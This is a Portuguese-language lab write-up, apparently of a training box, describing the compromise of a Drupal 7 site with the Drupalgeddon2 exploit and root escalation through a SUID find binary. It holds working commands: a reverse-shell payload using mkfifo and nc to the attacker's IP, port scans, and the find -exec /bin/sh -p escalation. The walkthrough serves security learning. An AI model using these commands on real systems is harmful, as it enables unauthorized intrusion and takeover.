Linux — 🐧
"Utilize técnicas de enumeração, enumeração web e enumeração de Joomla para identificar vulnerabilidades. Envolva-se em estratégias de escalonamento de privilégios e explore o abuso de binários SUID para ampliar seu acesso. Este laboratório foi projetado para tirar proveito de suas habilidades em exploração de vulnerabilidades."
Descrição do laboratório
"Neste laboratório, exploraremos uma aplicação web vulnerável Drupal 7.x utilizando um exploit de Execução Remota de Código (RCE) conhecido como Drupalgeddon2. Após obter o acesso inicial (foothold), realizaremos o escalonamento de privilégios para root explorando o abuso de um binário SUID (find), o que nos permitirá contornar as restrições do sistema."

Scan inicial
Comando utilizado: nmap -p- -sS -sV — min-rate=10000 -vv -n -Pn <IP>

O resultado do scan revela que há quatro portas abertas, sendo elas:
- 22 SSH
- 80 HTTP
- 111 RPCBIND
- 41720 STATUS
Enumeração WEB
Vamos explorar primeiro a porta 80, é sempre promissor. Ao acessar o IP na WEB, somos direcionados para um site chamado Drupal Site.

O passo agora é fazer uma varredura no site para ver quais diretórios encontramos e quais teremos acesso. Para isso eu usei o gobuster. Comando utilizado: gobuster dir -u http://192.168.228.193 -w /usr/share/wordlists/dirb/common.txt

O resultado do scan de diretórios com o gobuster revelou muitos com o status code 403, alguns 301 e o mais importante para nós, alguns de status code 200.
- 200 OK — Significa que a página ou arquivo existe e você tem permissão para visualizar.
- 301 Moved Permanently — Significa que o recurso que você solicitou foi movido para uma nova URL permanentemente. Se você encontrar um 301, verifique para onde ele está apontando, às vezes um site redireciona de http:// para https://.
- 403 Forbidden — Significa que o servidor entendeu a requisição, mas se recusa a autorizar. Você não tem permissão para acessar esse recurso.
Status 200:
- /0 — Nos leva para o inicio do site, na página de login como vimos anteriormente.
- /index.php — Nos leva para o inicio do site, na página de login como vimos anteriormente.
- /LICENSE — Temos acesso. É um arquivo que tem como função puramente jurídica e informativa, serve para informar os termos legais sob os quais aquele software ou conteúdo está sendo disponibilizado.
- /node — Nos leva para o inicio do site, na página de login como vimos anteriormente.
- /README — Temos acesso. O README é o ponto central de documentação. Ele explica o que o projeto é, por que ele existe e como alguém pode começar a usá-lo.
- /robots e /robots.txt — Temos acesso. É um arquivo que direciona e dá ordens para o que os motores de robôs de buscas podem fazer ao visitar o site. Ele é como um porteiro. Esse arquivo é acessível por qualquer pessoa, então é importante nunca colocar informações confidenciais nele.
- /user — Temos acesso. São caminhos para criar um novo usuário no site.
- /web.config — Nos leva até códigos de criação do site, apenas informativo, nada muito relevetante.
- /xmlrpc.php — Temos a seguinte mensagem nesse caminho: XML-RPC server accepts POST requests only.
Veredito final? Nada de muito promissor na exploração web. Vamos caçar a vulnerabilidade informada pela descrição do laboratório e buscar nossas flags através dela.
Caçando o exploit

Encontramos facilmente fazendo uma busca no navegador e também é possível baixar via terminal:
Comando utilizado: git clone https://github.com/pimps/CVE-2018-7600.git

Agora vá para dentro da pasta CVE-2018–7600. Executando o exploit com python3 + o exploit + o endereço do alvo, percebemos que ele funciona, ele execute o comando id, retorna que é o usuário comum e logo fecha a conexão.

Executando o exploit corretamente + Acesso obtido
Para que a conexão não feche, precisamos inserir um comando para obter um shell reverso. Comando utilizado:
python3 drupa7-CVE-2018–7600.py http://192.168.228.193 -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.191 4444 >/tmp/f"
O primeiro IP é do alvo, o segundo o do seu host, seguido da porta em que o seu listener estará escutando. Deixe um terminal com um listener aberto:

No outro terminal onde está o exploit, execute o comando acima:

Após isso, o seguinte acontece:

Estamos dentro, somos o usuário local. Nos movimentando até o diretório home, encontramos a primeira flag: local.txt.

Escalação de privilégios
Agora que somos o usuário comum e claramente não nos contentamos com isso, precisamos nos tornar o usuário root e obter a flag final. Com o comando find / -perm -4000 -type f 2>/dev/null, encontramos os binários e precisamos saber quais são executados como root e encontrar o comando certo para isso.

Fazendo uma verificação, notamos que o /find possui as permissões de execução que buscamos:

Essas permissões são um prato cheio se você está buscando escalar privilégios. Normalmente, no lugar do s, teria um x (permissão de execução). O s significa Set User ID. Quando esse arquivo é executado, ele não roda com as suas permissões, mas sim com as permissões do dono do arquivo, ou seja, se o dono do arquivo for root e houver um s, qualquer usuário comum que executar esse arquivo terá temporariamente privilégios de root para aquela tarefa.
Agora é preciso encontrar o comando certo para escalar privilégios com essa vulnerabilidade encontrada no /usr/bin/find. Para nossa alegria existe o GTFOBins, encontramos o find + shell + SUID e por fim o comando que precisamos:

Agora com o comando "/usr/bin/find . -exec /bin/sh -p \; -quit" nos tornamos root e capturamos a flag final.
